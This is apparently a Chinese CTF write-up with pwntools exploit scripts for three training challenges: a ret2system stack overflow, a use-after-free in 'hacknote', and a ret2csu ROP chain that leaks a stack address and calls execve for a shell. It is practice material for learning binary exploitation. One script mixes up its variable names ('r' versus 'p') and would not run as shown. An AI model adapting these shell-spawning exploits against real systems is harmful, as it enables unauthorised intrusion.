ciscn_2019_ne_5
傻了傻了,居然没想到用ROPgadget来找字符串,而只是在IDA Pro中看了而已。
system函数已经在Print函数中给出来了。只要有一个/bin/sh就够了。
但是这样也不准确,只需要sh就可以了。
以后找字符串的时候,直接用ROPgadget,不只能找gadget好吧。。。
| 12
 3
 4
 
 | ➜  ciscn_2019_ne_5 ROPgadget --binary pwn --string 'sh'Strings information
 ============================================================
 0x080482ea : sh
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | from pwn import *
 p = remote('node3.buuoj.cn', 27077)
 elf = ELF('./pwn')
 system_plt = elf.plt['system']
 
 payload = b'a' * 0x48 + b'b' * 0x4 + p32(system_plt) + p32(0xdeadbeef) + p32(0x080482ea)
 p.sendlineafter('Please input admin password:', 'administrator')
 p.sendlineafter('0.Exit\n:', '1')
 p.sendlineafter('Please input new log info:', payload)
 p.sendlineafter('0.Exit\n:', '4')
 
 p.interactive()
 
 | 
HITCON-training hacknote
UAF第一道题。
UAF即free掉之后却没有置0,这个残留指针可以再被利用。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 
 | 
 
 
 from pwn import *
 
 r = process('./pwn')
 
 
 def add(size, content):
 r.recvuntil(":")
 r.sendline("1")
 r.recvuntil(":")
 r.sendline(str(size))
 r.recvuntil(":")
 r.sendline(content)
 
 
 def delete(idx):
 r.recvuntil(":")
 r.sendline("2")
 r.recvuntil(":")
 r.sendline(str(idx))
 
 
 def show(idx):
 r.recvuntil(":")
 r.sendline("3")
 r.recvuntil(":")
 r.sendline(str(idx))
 
 
 magic_addr = 0x08048986
 
 add(32, "aaaa")
 add(32, "ddaa")
 
 delete(0)
 delete(1)
 
 add(8, p32(magic_addr))
 
 show(0)
 
 p.interactive()
 
 | 
ciscn_2019_s_3
这道题挺好玩的,要好好记录一下。
IDA翻译成C出来根本没法读,只能看汇编(汇编更容易看
主程序在vuln函数里,先从%rsp - 0x10的地址开始读入至多0x400个字符,然后输出0x30个字符,显然栈溢出。
然后还有个gadget函数,很清楚地能看出mov $0xf, %rax和mov $0x3b, %rax这两个gadget,第一个是sigreturn的调用号,第二个就是execve的调用号。
然后针对这两个gadgets,分别有SROP和利用通用gadget做ROP这两种方法。
SROP在网上看到的似乎打不通,就只用普通ROP的做法。
由于需要控制rdx,需要辛苦点用上通用gadget。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | from pwn import *context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
 
 from pwn import *
 
 context.log_level = 'debug'
 p = remote('node3.buuoj.cn', '28690')
 
 elf = ELF('./pwn')
 main_addr = elf.symbols['main']
 
 csu_end = 0x40059a
 csu_front = 0x400580
 syscall_ret = 0x400517
 mov_rax_ret = 0x4004e2
 pop_rdi = 0x4005a3
 
 payload1 = b'A' * 0x10 + p64(main_addr)
 p.sendline(payload1)
 p.recv(0x20)
 buf = p.recv()[:8]
 leak_addr = u64(buf)
 binsh_addr = leak_addr - 0x138
 log.info(hex(binsh_addr))
 
 payload = b'/bin/sh\x00' + b'A' * 0x8 + p64(mov_rax_ret)
 payload += p64(csu_end) + p64(0) + p64(1) + p64(binsh_addr + 0x10) + p64(0) + p64(0) + p64(0)
 payload += p64(csu_front) + p64(0) * 7
 payload += p64(pop_rdi) + p64(binsh_addr)
 payload += p64(syscall_ret)
 p.sendline(payload)
 p.interactive()
 
 |